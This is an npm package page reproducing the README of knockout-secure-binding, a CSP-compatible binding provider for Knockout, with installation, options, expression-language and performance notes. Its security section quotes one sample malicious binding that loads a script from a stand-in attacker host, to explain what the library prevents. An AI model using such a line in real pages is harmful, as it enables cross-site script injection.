Security News
Supply Chain Attack Detected in Solana's web3.js Library
A supply chain attack has been detected in versions 1.95.6 and 1.95.7 of the popular @solana/web3.js library.
knockout-secure-binding
Advanced tools
Tested with multiple browsers with BrowserStack.
Knockout Secure Binding (KSB) is a binding provider for Knockout that can be used with a Content Security Policy that disables eval
and new Function
.
This project exists because Knockout's default binder uses new Function
to
parse bindings, as discussed in knockout/knockout#903, which violates the CSP eval prohibition.
I have written a blog post about KSB as well.
You can get KSB from bower
with:
bower install knockout-secure-binding
Using npm
with:
npm install knockout-secure-binding
Save this to their respective settings with --save-dev
or --save
.
Then include it in your project with a script
tag and a property secureBindingsProvider
will be added to the ko
object. I.e.
<script src='knockout-secure-binding.js'></script>
KSB is a near drop-in replacement for the standard Knockout binding provider when provided the following options:
var options = {
attribute: "data-bind", // default "data-sbind"
globals: window, // default {}
bindings: ko.bindingHandlers, // default ko.bindingHandlers
noVirtualElements: false // default true
};
ko.bindingProvider.instance = new ko.secureBindingsProvider(options);
Having called the above, when you run ko.applyBindings
the knockout bindings will be parsed by KSB and the respective bindings' valueAccessors
will be KSB instead of Knockout's own binding engine (which at its core uses the new Function
, which is barred by CSP's eval
policy).
When the attribute
option is not provided the default binding for KSB is data-sbind
. You can see more options below. By default KSB the globals
object for KSB is an empty object. The options are described in more detail below.
If you are using an AMD loader, then KSB is exported, and you should be able to load it like this:
require(["knockout", "knockout-secure-binding"], function (ko, ksb) {
// Show all options, more restricted setup than the Knockout regular binding.
var options = {
attribute: "data-sbind", // ignore legacy data-bind values
globals: {}, // no globals
bindings: ko.bindingHandlers, // still use default binding handlers
noVirtualElements: true // no virtual elements
};
ko.bindingProvider.instance = new ksb(options);
/* ... */
});
Have a look at the example in knockout-classBindingProvider) for more info.
sbind
languageThe language used in KSB in bindings is a superset of JSON but a subset of Javascript. I will call it the sbind language, for convenience.
Sbind language is closer to JSON than Javascript, so it's easier to describe its differences by comparing it to JSON. The sbind language differs from JSON in that:
undefined
keyword;$data
or $context
or globals
(in that order);this
set to an object with the following keys: $data
, $context
, globals
, $element
, corresponding to the state for the respective element bound. †† Note that this is a deviation from the ordinary Knockout behaviour, where
this
would be window
(unless the function is otherwise bound).
KSB provider uses Knockout's built-in bindings, so text
, foreach
, and all the others should work as expected. It also works with virtual elements.
This means that the following ought to work as expected:
<span data-bind='text: 42'></span>
<span data-bind='text: obs'></span>
<span data-bind='text: obs()'></span>
<span data-bind='text: obs_a() || obs_b()'></span>
<!-- The following are unwrapped because they are part of an expression-->
<span data-bind='text: obs_a || obs_b'></span>
<span data-bind='text: 1 + 2 / (obs % 4)'></span>
<span data-bind='css: { class_name: obs_a <= 400 }'></span>
<a data-bind='click: fn, attr: { href: obs }'></a>
The sbind language understands both compound identifiers (e.g. obs()[1].member()
and expressions (e.g. a + b * c
)). A full list of operators supported is below. Check out the spec/knockout_secure_binding_spec.js
for a more thorough list of expressions that work as expected.
There are some restrictions on the sbind language. These include:
{ a: 1 }[obs()]
.As mentioned, one cannot use the default Knockout binding provider when a
Content Security Policy prohibits unsafe evaluations (eval
,
new Function
, setTimeout(string)
, setInterval(string)
).
Prohibiting unsafe evaluations with a Content Security Policy substantially substantially reduces the risk of a cross-site scripting attack. See for example Preventing XSS with Content Security Policy.
By using KSB in place of the regular binding provider one can continue to use Knockout in an environment with a Content Security Policy. This includes for example Chrome web apps.
Independent of a Content Security Policy, KSB can help prevent the execution of arbitrary code in a Knockout binding. A malicious script such as
text: $.getScript('http://a.bad.place.example.com/a.bad.bad.thing')
could be executed in Knockout on a DOM element that is having bindings applied. However with CSP and KSB you can prevent this script from executing by/because:
$
as a global;a.bad.place
.The ko.secureBindingsProvider
constructor accepts one argument,
an object that may contain the following options:
Option | Default | Description |
---|---|---|
attribute | data-sbind | The binding value on attributes |
globals | {} | Where variables are looked up if not on $context or $data |
bindings | ko.bindingHandlers | The bindings KO will use with KSB |
noVirtualElements | false | Set to true to disable virtual element binding |
For example, ko.secureBindingsProvider({ globals: { "$": jQuery }})
.
KSB supports some Javascript operations, namely:
Type | Operators |
---|---|
Negation | ! !! |
Multiplication | * / % |
Addition | + - |
Comparison | < <= > >= |
Equality | == != === !== |
Logic | && || |
Bitwise | & ^ | |
Notes:
Observables in expressions are unwrapped as a convenience so text: a > b
will unwrap both a
and b
if they are observables. It will not unwrap for membership i.e. a.property
will return the property
of the observable (a.property
), not the property of the observable's unwrapped value (ko.unwrap(a).property
). If the variable referred to is not part of an expression (e.g. text: a
) then the variable will not be unwrapped before being passed to a binding. This is the expected behaviour.
While negation and double-negation are supported, trible negation (!!!
) will not work as expected.
When you use equality operators in sbind (==
and !=
), the operation performed will be their non-evil twins (===
and !==
). The following are exactly the same: data-sbind: x == y
and data-sbind: x === y
. As Douglas Crockford puts it, in Javascript: The Good Parts: “My advice is to never use the evil twins.”
You can run a standalone server with npm test
. It will
print the URL for the server to the console. You can connect
to it with any browser and the tests will be executed.
Automated tests with chromedriver
can be initiated with
npm start
.
You will need to independently start chromedriver
with
chromedriver --url-base=/wd/hub --port=4445
.
gulp
../node_modules/karma/bin/karma start
.npm test
Make sure you have installed gulp
with npm install -g gulp
.
Knockout 2.0+
KSB may use ES5 functions, including (but perhaps not limited to):
Object.defineProperty
Object.keys
String.trim
KSB seems to be comparable in performance to Knockout's regular bindings. Here is a jsPerf example, which seems to indicate KSB is around 7–10% slower, with a margin of error of ±10%.
I would expect the KSB parser to be slower than the native Javascript parser, even though it does less. The expressions and identifiers looked up in KSB have a proportionately higher number of function calls per expression and dereference.
So one would expect KSB to be slower than the native bindings. That said, the portion of Knockout that KSB sits in is not a big bottleneck for performance. Individual bindings and especially their respective DOM operations seem to be a much greater concern.
KSB runs a one-pass parser on the bindings’ text and generates an array of identifier dereferences and a lazily generated syntax tree of expressions.
The identifier dereferences for something like <span data-bind='x: a.b["c"]()'></span>
will look like (or convert into) this:
[
function (x) { return x['b'] },
function (x) { return x['c'] },
function (x) { return x() },
]
When (if) the x
binding calls its valueAccessor
argument the identifier will be returned as the root value (a
, presumably an object) then each of the dereference functions.
The expression tree is straightforward and for something like 1 + 4 - 8
it looks like this:
1 4
\ /
(+) 8
\ /
(-)
All to say, there is no real magic (or dragons) here.
The MIT License (MIT)
Copyright (c) 2013–2014 Brian M Hunt
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
FAQs
Knockout Secure Binding =======================
We found that knockout-secure-binding demonstrated a not healthy version release cadence and project activity because the last version was released a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Security News
A supply chain attack has been detected in versions 1.95.6 and 1.95.7 of the popular @solana/web3.js library.
Research
Security News
A malicious npm package targets Solana developers, rerouting funds in 2% of transactions to a hardcoded address.
Security News
Research
Socket researchers have discovered malicious npm packages targeting crypto developers, stealing credentials and wallet data using spyware delivered through typosquats of popular cryptographic libraries.